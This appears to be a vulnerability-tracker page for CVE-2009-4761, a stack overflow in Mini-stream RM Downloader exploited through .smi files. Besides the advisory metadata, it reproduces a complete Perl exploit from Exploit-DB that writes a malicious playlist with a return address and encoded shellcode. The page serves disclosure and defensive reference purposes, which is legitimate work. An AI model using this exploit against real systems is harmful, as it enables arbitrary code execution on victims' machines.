CVE-2009-4761

critical

Published 2010-03-29 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Stack-based buffer overflow in Mini-stream RM Downloader allows remote attackers to execute arbitrary code via a long string in a .smi file.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-8594 local windows verified perl · 1 KB

Stack · 2009-05-01

RM Downloader - '.smi' Universal Local Buffer Overflow

perl exploit Source: Exploit-DB

#!/usr/bin/perl
# RM Downloader (.smi File) Universal Overflow Exploit
use strict;
use warnings;
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b".
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3".
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff".
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb".
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0".
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92".
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d".
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde".
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2".
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6";
my $junk = "\x41" x 26076;
my $eip  = "\x17\x48\xF8\x01"; # Universall Ret Adress
my $nops = "\x90" x 24;
open(my $playlist, "> spl.smi");
print $playlist
                    $junk.$eip.$nops.$shellcode.$junk.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-01]

Application impact

Vendor	Product	Versions	Fixed
mini-stream	rm_downloader

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.